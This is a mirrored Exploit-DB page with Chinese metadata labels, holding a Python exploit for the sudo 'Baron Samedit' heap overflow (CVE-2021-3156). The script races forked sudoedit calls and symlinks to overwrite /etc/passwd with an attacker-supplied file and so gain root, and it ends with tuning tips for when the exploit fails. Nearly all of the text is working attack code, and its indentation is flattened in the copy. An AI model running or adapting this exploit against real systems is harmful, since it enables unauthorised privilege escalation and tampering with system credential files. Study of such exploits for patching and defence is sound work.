Sudo 1.9.5p1 – ‘Baron Samedit ‘ Heap-Based Buffer Overflow Privilege Escalation (1)

  • 作者: West Shepherd
    日期: 2021-02-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49521/
  • # Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1)
    # Date: 2021-02-02
    # Exploit Author: West Shepherd
    # Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1.
    # Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31
    # CVE : CVE-2021-3156
    # Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code.
    # Sources:
    # (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
    # (2) https://github.com/stong/CVE-2021-3156
    # Requirements: Python3
    
    #!/usr/bin/python3
    import os
    import pwd
    import time
    import sys
    import argparse
    
    
    class Exploit(object):
    username = ''
    size = 0
    data = ''
    
    def __init__(self, source, target, sleep):
    self.sleep = sleep
    self.source = source
    self.target = target
    
    @staticmethod
    def readFile(path):
    return open(path, 'r').read()
    
    @staticmethod
    def getUser():
    return pwd.getpwuid(os.getuid())[0]
    
    @staticmethod
    def getSize(path):
    return os.stat(path).st_size
    
    def main(self):
    self.username = self.getUser()
    self.data = self.readFile(self.source)
    self.size = self.getSize(self.target)
    environ = {
    '\n\n\n\n\n': '\n' + self.data,
    'SUDO_ASKPASS': '/bin/false',
    'LANG':
    'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
    'A': 'A' * 0xffff
    }
    for i in range(5000):
    directory =
    'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
    overflow =
    '11111111111111111111111111111111111111111111111111111111%s' %
    directory
    
    if os.path.exists(directory):
    sys.stdout.write('file exists %s\n' % directory)
    continue
    
    child = os.fork()
    os.environ = environ
    if child:
    sys.stdout.write('[+] parent %d \n' % i)
    sys.stdout.flush()
    time.sleep(self.sleep)
    if not os.path.exists(directory):
    try:
    os.mkdir(directory, 0o700)
    os.symlink(self.target, '%s/%s' % (directory,
    self.username))
    os.waitpid(child, 0)
    except:
    continue
    else:
    sys.stdout.write('[+] child %d \n' % i)
    sys.stdout.flush()
    os.setpriority(os.PRIO_PROCESS, 0, 20)
    os.execve(
    path='/usr/bin/sudoedit',
    argv=[
    '/usr/bin/sudoedit',
    '-A',
    '-s',
    '\\',
    overflow
    ],
    env=environ
    )
    sys.stdout.write('[!] execve failed\n')
    sys.stdout.flush()
    os.abort()
    break
    
    if self.size != self.getSize(self.target):
    sys.stdout.write('[*] success at iteration %d \n' % i)
    sys.stdout.flush()
    break
    sys.stdout.write("""
    \nConsider the following if the exploit fails:
    \n\t(1) If all directories are owned by root then sleep
    needs to be decreased.
    \n\t(2) If they're all owned by you, then sleep needs
    increased.
    """)
    
    
    if __name__ == '__main__':
    parser = argparse.ArgumentParser(
    add_help=True,
    description='* Sudo Privilege Escalation / Heap Overflow -
    CVE-2021-3156 *'
    )
    try:
    parser.add_argument('-source', action='store', help='Path to
    malicious "passwd" file to overwrite the target')
    parser.add_argument('-target', action='store', help='Target
    file path to be overwritten (default: /etc/passwd)')
    parser.add_argument('-sleep', action='store', help='Sleep
    setting for forked processes (default: 0.01 seconds')
    parser.set_defaults(target='/etc/passwd', sleep='0.01')
    
    options = parser.parse_args()
    if options.source is None:
    parser.print_help()
    sys.exit(1)
    
    exp = Exploit(
    source=options.source,
    target=options.target,
    sleep=float(options.sleep)
    )
    exp.main()
    except Exception as err:
    sys.stderr.write(str(err))